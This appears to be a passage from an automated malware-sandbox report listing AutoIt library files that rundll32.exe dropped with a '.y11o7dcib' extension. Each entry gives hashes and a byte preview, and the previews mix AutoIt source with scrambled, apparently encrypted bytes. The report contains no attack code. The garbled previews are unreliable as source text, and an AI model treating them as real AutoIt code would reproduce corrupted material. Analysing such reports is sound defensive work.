Preview:	T.<..z.....A....._r.\../F'.y.J...~)!....}~x..].,m.[.....3j..W...mageList.au3"..#include "Memory.au3"..#include "SendMessage.au3"..#include "StructureConstants.au3"..#include "TreeViewConstantsY.'....V..N...6.)_.x..)Bk.z\B6.U.jl....ivnqE..`!.1.....6z.....nclude "WinAPIGdi.au3"..#include "WinAPIRes.au3"..#include "WinAPISysInternals.au3"....; #INDEX# ===============================J.o..2..Y.....+.A&....v.:..O.~.J/]r.Q.!/6lZ..3].E.....j2..-...========================..; Title .........: TreeView..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ..Y.r..a..V..Q...w.\z.L..?.p.J.....w6&..L.s\|.#.D.c........#!..+... A TreeView control is a window that displays a hierarchical list of items, such as the headings in a document,..;W.r../..D...6.\o.Z..%Wu.[..*.Ws.o....d>+>...f........6a..t...ctories on a disk. Each item consists of a label and an optional..; bitmapped image, and each item can have a l..&..i..J..V...6..h.\..?Fc.I.W+..fNo....

C:\Program Files (x86)\autoit3\Include\HeaderConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7327
Entropy (8bit):	6.816573766726783
Encrypted:	false
SSDEEP:	192:C9bpJjZkYZe5tIe/P0CjnSGE5aGVuiYUNcVLNNdc9u+Y+nKQK0jMWS:CdppZJe5uwPrTpEsGoXUNgndy7YjQK5h
MD5:	31A205728D5356FB71DC23E4D538E09F
SHA1:	D06E0636702B4CEB67B7E4AD6C622C2E2AD157DB
SHA-256:	7E48B7807340AC58F975475113353D76C670F4B27E4664837C80161ECBA7BFBF
SHA-512:	256E44B6E8CE94B4BFB836E0D8EAB1E6E3B5B838D2AA97E2F5B7185E102E94AEA38692D32487CD62F64D070BA691C8CF1F23C555C563AA3A7F49C587AFCCB6C7
Malicious:	false
Preview:	.....l.....Pqh....\u.G.R...u}.Y...#..?y".n..u.x.<......g+.)==================================================================================..; Title .........: Header_Constants..; AutoI......a.@...RQ....8.1."....)'..J...0..Gx.:..E*~.E.....3y.4...: Constants for Header functions...; Author(s) .....: Valik, Gary Frost..; ==================================================..Z.S5.....A_....4(..?.L..u}.Y...#..?y".n..u.x.<......g+.)=============....; #CONSTANTS# =================================================================================================..Z.S5.....A_...9.RW.`....&3..@..A...Vd".c.x.u.1.......8w.4Const $HDF_RIGHT = 0x00000001..Global Const $HDF_CENTER = 0x00000002..Global Const $HDF_JUSTIFYMASK = 0x00000003....Global Const...#.1J.z...j3,...sAA.."....xq..T...r...nd\.=..h...G......z+.$x00002000..Global Const $HDF_STRING = 0x00004000..Global Const $HDF_OWNERDRAW = 0x00008000..Global Const $HDF_DISPLAYMASK = 0x00...W.^..#...Z....[gfO.&.5......%..Y..

C:\Program Files (x86)\autoit3\Include\IE.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	153769
Entropy (8bit):	6.77705861038386
Encrypted:	false
SSDEEP:	3072:/PSKMWLuPoSWg4krhO3BzNVo3a5NrtdrITNFDCeGJI/I6W7Knd2/XtfRms3fCoIZ:QKxzEhO39bpdrIRq+ZcBmk2FTi1Bm
MD5:	C89491FF0EF10C3C0041ECE8939BB3DA
SHA1:	89002E9141F0E0B87866CE9A5391FC8AFE69C13B
SHA-256:	FDD5D6208971423FCBD375DABCD9573E39E2E3B832702DE0A1E4C09B5C1CD47E
SHA-512:	059D6B89F98B47BC260A70F68D7307CB108FC3ADA7E8EE698B10AAF5A50FB6CA0BBAEF0D5E6318D0CFCFA4DA48E7BCF4ED874045694F77625AC66F8088F24891
Malicious:	false
Preview:	B9.N?..@7W.Y.......Rh\|+h.......V....'.%...K..S.}.A.........onstants.au3"..#include "WinAPIError.au3"....; #INDEX# =========================================================================\m[.n...'.....O....1$6w....l.......n.6B..d..P.z.A..B....4..: Internet Explorer Automation UDF Library for AutoIt3..; AutoIt Version : 3.3.14.5..; Language ......: English..; Description O~H.s..FuT._........Rbz.#....7.......:.lS.G.....z.J.......~.ng from and manipulating Internet Explorer...; Author(s) .....: DaleHohm, big_daddy, jpm..; Dll ...........: user32.dll, ole32.d.<J.<..Dy[.^...x....1$6w....l.......n.6B..T..M..\..Q.....'.=================================================================================....#Region Header..#cs...Title: Internet Exp.?.H!..PnW.[........Nnkj8..#..L.....^..9.J.....)A...BN.....escription: A collection of functions for creating, attaching to, reading from and manipulating Internet Explorer...Author: Da.5.B;./.u.^.........,Sd$....4..P....

C:\Program Files (x86)\autoit3\Include\IPAddressConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.52368411472167
Encrypted:	false
SSDEEP:	24:EIFtL3PBckOIgbtDZt7TYMQIfUx2dVqatJCODtAULwZAj9S:ECRiIKtZFGydVqaRD6UMZAxS
MD5:	1031A6E4182F18C2CFC6FD94DC239804
SHA1:	36911A9FC25D6656A78D63CFD991AA7E013C6CDA
SHA-256:	72BD607584844E71E5053373592A7E32CDCA41981BF28D1B0F26166DA576D9BE
SHA-512:	E505EDE4BAC6C121881CACFE0FFC77D924C720AD1F9290CB5523049ABE94B782AE44D85135876B4F74BD03AE138FB5340CDD8946E69EECA3C09CC68FCE651114
Malicious:	false
Preview:	....C..M...G.d...2Q8'.iV...-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-............r>.....\.I.c.U..I..F..E...]..T'..4\|.U.yz....>.............p.y`.O.W...e...........Z...J.S:..:_X.......qU..............!d.OP.,k.T.;........U..B....W..t.).t..dC...uH..............oB.RK.SIP].p.F..."......?I..@b..i..)_5@.'(...-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......+.............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-............r>.....\.I.c.U..I..F..E...]..T'..4L&S......-6............\.vb.e3f'...&... ...$z.=z.@..]...6w..L...cO............P.....E\|+...,...'...({.6\|..-{.:_.."Q^......rZ............B.bq.r2.I.v.7...0...(\|.7f..!j.6M.\"^<..3.....1.............N.af.`%g&...H..+...:k.m..#k.:N.].L#.x@....0.............<w..j.l>p1...&...T..$f.9l..%w.*U.]0U:.z^...B...............l.UW..(s9...<...'..S..'a..$`.,I.F?H:.cG...Eh.........

C:\Program Files (x86)\autoit3\Include\ImageListConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.574199929875828
Encrypted:	false
SSDEEP:	48:Ifd00FjbJNkUeV6Je8m6nKAuq6n83SJfCyQcIMybFK6L95idvS:AJ3jMm4n83OZqo1vS
MD5:	FA8EA0D04222D2DA63BD83415A576E17
SHA1:	0A38532CAAA29D668B1D7ADB7609058A28B8281F
SHA-256:	4E2F6CBCA2BAC5B38429736B27A62AD0EF685CCE3C898858050A04F32E99F315
SHA-512:	ADB644F1EB3772C559DBEC38368D6855D318E71C76F89C7C1899FB595733D116E0E86C5BF9AAF8B4876AFD4BA0363CED39B2974A7287458DC75D6CEF35D69F93
Malicious:	false
Preview:	..w}J@O.P......v...cmw.q.....A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A.....g.].J...R....8.?......H..J...t.#?...`7@. ..Pj.cN.........R......J#.......H.6.+......A..R.+...l~....O...<..90...B>...........X.zH.J.....Z.u.lV.....?..K.0.h.$w..YC.U.....`>`GD..z.]....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[...G...em`.h.{..A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A......z......A....+.8....9...e.'.jc..JP.F..h.$#..._@J.[....A...FLQ&E.l.....f.U.Hx.....4....h..fS...._......jj..b.>(.)....A......w......;..M.z.FV...M..a...U....JM....e.)Xc8!%...........j..v.`..H....n.5.......R.:.v..1...M.2.....UQt.._]G.V...L... d_(K.C......._.Ff.....5...h.*.gn..F]0q..:..u>eZE..W./...3......z..W...L......BU.....G..M.x.S.....;"oH..h..a....RME.k......iL]4]....#..c.B.@...4...h....2.....8..&..=Wjvt/4%.)...L....w..".....C.U.kJ.

C:\Program Files (x86)\autoit3\Include\Inet.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	15506
Entropy (8bit):	6.678566046994568
Encrypted:	false
SSDEEP:	384:/Cy8kSu5UIyiPhHWmEmrUkspxeZ1eI96Ons:Rku5UIh52mEm4Hpx6L6Ons
MD5:	F2A83FB17953DF99DAF757A46E082316
SHA1:	EBB89DA0FDE91C14007AEE09D03775B99E49331C
SHA-256:	6DFBA653C42E81A3CB72117717A16DE187C7927324453F41A8C5E93956CCE4C0
SHA-512:	D911B66CA48DD4C769F8B161D206127215E01A4ED79A8D6AAB05216344B5E660C6B62613572A526197FBCE2DBAC0FB565002A48805EB2BA342E459FD003F9F54
Malicious:	false
Preview:	e...rW.....Nk.vm^...4.:...A..z.............Z..p...3......7.iN3"..#include "StringConstants.au3"..#include "WinAPIInternals.au3"....; #INDEX# ================================================{..#.......3.A]i..KjDr....8.".....;.+...C......fa,.g...y.5.=======..; Title .........: Edit Constants..; AutoIt Version : 3.3.16.1..; Language ......: English..; Description ...: Function5...V.....^z... E.?9.*...+.$......t.e....P......)%=.....0.jR, Jarvis Stubblefield, Wes Wolfe-Wolvereness, Wouter, Walkabout, Florian Fida, guinness..; Dll ...........: wininet.dll, ws2_32."...........3.A]i..KjDr....8.".....;.+...C......fa,.g...y.5.======================================================================....; #CURRENT# =========================================={..#.......3.A]i..KjDr....8.".....;.+...C......fa,.g...y.5.===========..; _GetIP..; _INetExplorerCapable..; _INetGetSource..; _INetMail..; _INetSmtpMail..; _TCPIpToName..; ==============={..#.......3.A]i..KjDr....8.".....;.+

C:\Program Files (x86)\autoit3\Include\InetConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1610
Entropy (8bit):	7.4712941462349605
Encrypted:	false
SSDEEP:	48:MWOpPh/dUg3fUIleMWdY20RkAawUrXJG4S:MWsPhVUgPUAeMWT/A3U7g4S
MD5:	A66F8F566DF684217BAD791D4CD1FCEC
SHA1:	877DA08043C0435134907398160A3D6BD838E027
SHA-256:	473DA1AE8475C7A49D4CF025E26842C0852FB7CD88462F25DDCB3D85C0D76106
SHA-512:	BACBB430D17CBAF36C13FE546167652085F748DB45121F7BFE170BA214805F3CA3697D2F526460A3798329DFA3E056ECD006CC461F6362300A5826127B566FE0
Malicious:	false
Preview:	......?.M..w7..8...y........<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......P....<Y../.f..-........_....Hom..Vz!I..#..Q}....5.ZS.:a......P....&R.Cf.h..-........i......G..8.s....".._......(....gr....[.3...,P..h.h..#y.......Z ....Lz#..>.:...+...N....8....g\|..........;.../.f..#_.......d......3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=..65#..>I=.....L....Mf.]N.)o......g...u...<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=....3..7.x....#.......$../0.X...}...z....$Z.Cm....pL...../O....yBL..{M:X... ...G..../.D:.Q...r.q....u../..$..bT......MI....}]@..."['.....Q......9..S.{<....w......t.{U....E}........l.....Ml../P> .....#h...1..@N.%d..8.y.5....Z.Qu.l..Fl......(D.....3#..Q7v...l...X...>..?7.C...t.\|.......{..<.y...2......*o....GM...4U>.....4j...@V.'..v3..v.P.......a.fN....B\|....

C:\Program Files (x86)\autoit3\Include\ListBoxConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5338
Entropy (8bit):	6.749422198403418
Encrypted:	false
SSDEEP:	96:15exTzZvHMrI9XreghIuMITPrhM9csLIS:15ex/JsrSbk2uIS
MD5:	49CE16A28B58D8E0D6BF92392E4B7B0F
SHA1:	A15825F293628C4F57E1DC60A64885D825699F0E
SHA-256:	CC7AC4A9D02A2819A6525309EA8864150E850E4D2F8CBE03F1021E70E0D0035A
SHA-512:	28E22E723843FE0CDFF320AEB52D55498A8E55A1018C28072D8AC53DECD91AC91E603A2EBD603A313DF6C9531E740C3078DC71428C95F6B906E8C02FC4B9D4BB
Malicious:	false
Preview:	.wV.....T.MU.Ju...YLxCA.w.'`.......k...:.....]..2...s..jU....==================================================================================..; Title .........: ListBox_Constants..; Auto.j.....ZU....nK...T4;.?o.Lt:..I..x...=.{......1.....=.>.... ...: <a href="../appendix/GUIStyles.htm#List">GUI control ListBox styles</a> and much more constants...; Author(s) .....: Valik.>..... GT.Z..nV.;.A%.:9ri.'`.......k...:.....]..2...s..jU....====================================================================================....; #CONSTANTS# ==========================.#.....[......}E...G8.:9ri.'`.......k...:.....]..2...s..jU....=========================..; Styles..Global Const $LBS_NOTIFY = 0x00000001 ; Notifies whenever the user clicks or double clicks .>K.....81.B_.!..u..vB' ..~E...z........7.....@.S}ID..:..9.... the list box alphabetically..Global Const $LBS_NOREDRAW = 0x00000004 ; Specifies that the appearance is not updated when change.>Y.....Q^.$w./..Z.9jXtpopaX...{......u

C:\Program Files (x86)\autoit3\Include\ListViewConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23534
Entropy (8bit):	6.770661886105848
Encrypted:	false
SSDEEP:	384:dJZXQq3DwVr6HKf8KRZLJ2p+LiBP0+6gqd49BlccdeQRaVL22vGUUAJG:hgvrrJZLQp98d49BlccdeQRKL22vGUUd
MD5:	0720F164CC66288AEB963F4DE8C6B698
SHA1:	92445F67D31858374231ACBCE90880536A5A0D68
SHA-256:	5FFA980A4F60CEDEB687870F74FA7BA4180949906CA5B32392E7C4D09BB3AC1C
SHA-512:	914D411B1C0B99BF50EE2FA934FF52D157D0B471CB7DDA4984F4742FF0D7763BDAA3A038493AED78FAD416C9F7216DEF4AE6850E19710881858AA9ED15F65295
Malicious:	false
Preview:	..L...p.>!Hu.V..F$CK'......g....>.......a.03.P..a{..W..1].$.h==================================================================================..; Title .........: ListView_Constants..; Aut....1..f.>!..o.S5V,X...d..=Y.LX#....=....jb...'V}....I~..m.:n ...: <a href="../appendix/GUIStyles.htm#ListView">GUI control ListView styles</a> and much more constants...; Author(s) .....:..C...5.0=R0.....(@,G......g....>.......a.03.P..a{..W..1].$.h==========================================================================================....; #CONSTANTS# ====================..].Z..(.lr.-.a.@9]?T.......g....>.......a.03.P..a{..W..1].$.h===============================..; Group state - Vista..Global Const $LVGS_NORMAL = 0x00000000..Global Const $LVGS_COLLAPSED = 0..P.W..%.\El\|.>..]G.l....~...d.oyF...k..l.=>._. .C....O..j.u$LVGS_NOHEADER = 0x00000004..Global Const $LVGS_COLLAPSIBLE = 0x00000008..Global Const $LVGS_FOCUSED = 0x00000010..Global Const .6h4..P....U.\|.M\|P2Y......@.I\o.....

C:\Program Files (x86)\autoit3\Include\Math.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4964
Entropy (8bit):	7.505061427592117
Encrypted:	false
SSDEEP:	96:nei0CieimieiWieiGiVieiqieifieiMVLiei+4SZ074WieiZMizieiIZLiqwieiy:nei0CieimieiWieiGiVieiqieifieiMK
MD5:	4C7CEED9F184477EC8ACFE54D9BE6146
SHA1:	95468E0C8B349BA95D742C4D38C69C10F4025CAD
SHA-256:	06B7ED5A4773229411D7B2957CFCD90C1024CB3AF56155D26EC05F3D83034C8D
SHA-512:	4D6EB9941C48294FBA979DAFF77A80730CF104B9F6DDB483E1AD02242DD1D7682A97E2F5A3E84AE26676C0246D304E7F6DB486FE34C57B1782E7B3EB35977E6D
Malicious:	false
Preview:	........SB.. !.QJ..^]....a..+../.V"3)l.....;...Nr.....^.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..g....@...L....VR.@..HD..L_.8...^P....X......{.M"/Ny...._y..W.....H..o..............X...aI..Z]..........+.Q9.'#....Cx...T....D....S...X....QM..HF./...Q.....@......V..v.ry......6.C.....M...N.g...X:........DE.>.......e......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R..&...H....w..AX....x5.P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......e...Q....fy.....]R..`1....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P....&E..!.r...,_.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C..Y........m...s..U&.`I..T_..T..~......`..k}

C:\Program Files (x86)\autoit3\Include\MathConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	7.246785322627567
Encrypted:	false
SSDEEP:	24:Vh4HIXNh4HI6M2H/gfHIXNh4HIXN3PgIXNh4HIXNhUmSuMaC4HIXNh43HaAA+7uW:VhGyNhGNM24yNhGyNIyNhGyNhrUGyNha
MD5:	033E25B3691636325F889FC12E57740D
SHA1:	738418903A9F06B436E280123D1D5CD04E1C5031
SHA-256:	859D2C0A1B59371D4FE40A2485B52338A2EB895A1531B0F4287B799CE4F69DA5
SHA-512:	5C7256DA1C818F6D8E37FC39E0FFFAD0845EC9FAF9CED55AC2977696D00DAB1C69AE74D568FC0BC581E00E4D5BBF525D560960ED0C0CC6DC591E193B2A942317
Malicious:	false
Preview:	m]..a..g..7.{..oD...o...d.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s.$9.....+.\...H.N.$lH.q).x,)bW...e9y.#...d,/....Q..d..".JjG-..T`.$9..... .....H.N.$lH.y&.\|..e4..MO(y.[..x7...`..b..vS.-.>..B,..ZH...".\.....@x.6..Hh.#S.nK...+:b.G..x6'...:\.x..v[.7.0..Yn.\GN....n.R...H.@^.+..Y;..yQ-...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW.3..V+nI.g.._....s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P.G1.v...y.(...]..$l.E^.;.r... .]......../..".6pY.0.yhN0Bg.~...j!*.F..1\|.....}..D7.Q{(.,>..PC.$9.... ....J.?kk&..R`Z.y-aV...+.e.Z..\......s..H2.?._nG,..Uy......J.G...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..============================......Es.O.5}.v...k-....74..!.:..G..>....Z.&;.l.js......}"".t..wFu...

C:\Program Files (x86)\autoit3\Include\Memory.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18498
Entropy (8bit):	6.215129329924275
Encrypted:	false
SSDEEP:	384:HgUgQirYE9jNo21uc65pbenUUGyhEmS8m8vhv8dlPpMfzX:RyM6nNbvhkdhqD
MD5:	B64A1E3A2A8A2F75B57CA5A0C5F3B4D6
SHA1:	3E37DF785E7014A1B253A8FA11DE21B2DB538F2B
SHA-256:	79FE24940DF96BEF251CC5AB02F31F67CD1A0FF9DF2035FBEAF3479546D0C618
SHA-512:	3DA2533B999061D757F1AED9DD91505BB40D913B05C91A4E2033A28AF7634641E0854DB53A0C934113577D5CE664F66F1AC8E1C1544E03CC5FC84AB2E99DB627
Malicious:	false
Preview:	^2N }(...,...o.. Aj.../xO?\.U.+.q.....hCD.88..KO...H.()^. B.{..ssConstants.au3"..#include "Security.au3"..#include "StructureConstants.au3"....; #INDEX# ======================================@f.~,`.I.~..._..>.9.v R ,...d....W.W;...dp..{x.D...`p..?/.)SP=================..; Title .........: Memory..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with Memory .:N"v8...7...Y...#.$.k=O=1...y.Z.....iEN.4,.! .Y.F.1(V.lf.4..rtual memory, provides a core set of services such as memory mapped files,..; copy-on-write memory, large m.6O1h}...3...N..g.q...9q.t....,.B.....iE.[1(..'&...F.3,\.p<..UMAuthor(s) .....: Paul Campbell (PaulIA)..; =====================================================================================@f.~,`.I.~..._..>.9.v R ,...d....W.W;.."S@... ...E..8U.v{.z.Mlist....; #NO_DOC_FUNCTION# ====================================================================================================@f.~,`.I.N...h..pM`...kZ:T1.\|.y.]....Jd

C:\Program Files (x86)\autoit3\Include\MemoryConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	7.686283455917439
Encrypted:	false
SSDEEP:	48:jBF+8up4CV7Fdz2DEDu6qdSuSYV448vahOO0LzfY/Ex/24f7BtS:jbBup4C3V2AK6ub8vMO9vzxFbS
MD5:	3A6B2ACFCE91179CC746F5E55DEBE66E
SHA1:	9680C94D5786F060F122425109759BD47816A3EE
SHA-256:	0E445FB491F2198AF4CA7766570B8B5E534936CB99726B3EBD63742FF53313DE
SHA-512:	F17C8FB1B7D0ACC5A45F129B8E1C22758DC1999304724DD9EF9DA17179B84AE54C70CD329AD35BBEC81B08F689AFB55773F33B88BFA6498CD4C2D8D35AE86786
Malicious:	false
Preview:	.lg...l...x2d..OnuoX.b....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-IC\.6.N....Qb'6$m# ..b.bLIp.2........~.!....A%_...a..\....].!B`g+.......q.+l8$m# ...'.cY\F.5.......,.......+'[X.g.....iLN...n.C{.U....j.8`wd0#....F.yV_]......V.H.....B..Xuk...(....T~G..Onk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-IC\+.......W+.GLY`-3...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+....f. )[e-~z..J.@avf.........B.u.j2...Ti)"..{.X.Xr1._"..dZ......4O\|;...aa...'.bPC[.y.....6.1...!66...5qQH.8..;..^..S. %R6.`....J0.@KI._J...7.=....W......1.+..UF..pHV;=.G..5.. .^. Dzf+..K....$<#gk~c)I...X.Bzyi.}....H.B.O.......Ff...(..1.B{'.S5..gT.b....\|O}9(.IJb...k.NQ^\.}.....'.=...!;)...8)Q..8..q..qP..\|T.9He....I .AYX.-3..5.=.=%.1.....;...1.D2/..jAM$+.I..\..-G\. DC\az.E....k.?}8..@K...

C:\Program Files (x86)\autoit3\Include\MenuConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5208
Entropy (8bit):	7.841549389099823
Encrypted:	false
SSDEEP:	96:w3U8U9333cW2BR2ncswNwgC8YTmnSvAFUc7r7b/xuGKkQ17/21CS1WuxDyk60PuS:w39M33lCR2nj/6SvAuXdF21Wukt02S
MD5:	5DB8E68C642E6202848F0551003752C9
SHA1:	74B144626ACEDB7FFE5C899580F430406DB61001
SHA-256:	A943ED1DD05D15BB8600695228BDCA8502D569DE00882016E290506C12CE2308
SHA-512:	D7B1E08CCF32393FB9F0896EF1074732745C3D441E45FFCE27E7834DF60083DA5C178135B93FAC34914F81699B0F6E87E848A914359736597C9A0928764FA347
Malicious:	false
Preview:	&.x......W.. .o.....'.$._.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.(!..7..K..%/...=^br.\4.\..>....M~].<9ua#.C...S.d..........,..K.(!../..@.Lld...=^br.\<.U.....d..TL.RA'1..X..+R6.......M..dE.E.@E.....D.DdoB...Kl.a...@..T..@..>..gR"(.......%.d...[......9..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?'.h....,./s>c_R....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X..&....F..Hn_..3T..K)7.{..)..S..h..;t"...[....v.6...(...{.F..E.]...$..E.A+B^.gPh.R#,.q..>.*..0...>D...U....j.e...:...m..Lm.X..S..i..H.Lg!r.`.lxY:&.`..8..S..h....~qR.:....g.z........]n.6.gg..C.\...;1...#BAVS...S.>.....4d.nq../.g....}X&...G...3.mH...fD....Xj9rHIt.V4la4L.....M..V.&WE.SR"a!.Y..H.I..."......2..U.....i..H.Lg!r.`.lxY:&.w..?.,.iQb...~9R......5e.......z.q^.A.ct..-.>u:l@!...k@\|l$LI

C:\Program Files (x86)\autoit3\Include\Misc.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	35079
Entropy (8bit):	6.62209356585782
Encrypted:	false
SSDEEP:	768:ZnYYhI7QhBqR/j6unENJkDjAR8yxX/lcIrUyoOduNg88bx9:ZYYhrBqj6unENJiy8yxtEyoOcNCbx9
MD5:	CE31BBCECC4FC7B9A528BEBB173C51FE
SHA1:	5D5A74BAC359766ED63609E70DFCE2D32E02DAD2
SHA-256:	E08F9EB79DCE938E18813FE037DEEA9E82F0DA7D8DF89F8AE67194E4F555AF4A
SHA-512:	01477150E19DCBFE03224933C3F09E38970696573EFD3EF1EB31460A45A7217DD2C31ACD63C6BC0343D19CFF51F35DF54CD45AED5E3CC324CD9DBC043C3215B9
Malicious:	false
Preview:	....%R.;.......TO.y.........7.JQ.o!.hn.........c5r......E. y...#include "FontConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIError.au3"....; #INDEX# =====================...t..c.._..dx.-.Y@..G...._.%..s.&'KX...#...~3o........-.Y...==================================..; Title .........: Misc..; AutoIt Version : 3.3.16.1..; Language ......: English..; Descript....g..d.......6+.0......L..1..o.X&.Xu....Z.U.,i!.......x..... .....: Gary Frost, Florian Fida (Piccaso), Dale (Klaatu) Thompson, Valik, ezzetabi, Jon, Paul Campbell (PaulIA)..; ============...t..c.._..dx.-.Y@..G...._.%..s.&'KX...#...~3o........-.Y...===================================================....; #CONSTANTS# ===========================================================...t..c.._..dx.-.Y@..G...._.%..s.&'KX...#...~3o........W..D.. Const $__MISCCONSTANT_CC_ANYCOLOR = 0x0100..Global Const $__MISCCONSTANT_CC_FULLOPEN = 0x0002..Global Const $__MISCCONSTANT_CC_....n.~..R....hH.+.Y@..G...._.%..s.&'KX

C:\Program Files (x86)\autoit3\Include\MsgBoxConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	4482
Entropy (8bit):	7.799753722206394
Encrypted:	false
SSDEEP:	96:kWmM8TU8P8x5dnZ6SKY8ze1gF2G+RUglUus4FbmX8rvS:kV49ZVUzeyFsRHlUe3vS
MD5:	82D6AB9957A9E3D774C2C7D938C62A99
SHA1:	D428F44C9AFAAAC83511FAB6A11ADA34F28309A5
SHA-256:	8BCB3964D91F699F12CA6448B6455602D838D0AD8009012A45EA26B65FC7F3E6
SHA-512:	3765300E1E3A427A110A84E6BA3438C009DA1AF6F8A843979FD4EF683AE2656383ABCA922CC1D31053F05D4D0A6791F0CD2474B14380E46CAECA1AF561322144
Malicious:	false
Preview:	...4.`.H.5.X(....7...W......$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.....{.....7.c."...q{.s...i.p....o.P09,b..."...2.f...a....?.%.p2..^.~Ym."......Q..._.wp...E.P^A~2/..K..m.V...:.IV9.a..q..%q..\..pRm.b..%Y.`...\|....!.KX]77(..K..4.\|.E.(..Ja...4..?z...J..7.c."...$_.z.....u....:.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<.)09,bx...8....6..X.f...$.3.).v/.....$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<....OQ......0.5......SVm.`....k[..Z.\|Om.d..$B.{...R.l....d..T]763......0.5...Q.QJ{.b..{..?2..f.9.m.,...?S.d.....j....;.lv>..7......9.a..(...vfX.M..4.z2...N..iI>.,..%Y.g...}.~....`.@X_.H.......8.f..A...\|gV.Z..@...U..\|..9.m.,..4S.d.....j....r..\|Qx0/......{.t.E.<.RW\|....{..'2..J..=q..U....u.Z.....?N...U.QXV72......8.f..<.(..kv....p..\|..4..uS/.`..?E

C:\Program Files (x86)\autoit3\Include\NTSTATUSConstants.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	240988
Entropy (8bit):	6.661309809851292
Encrypted:	false
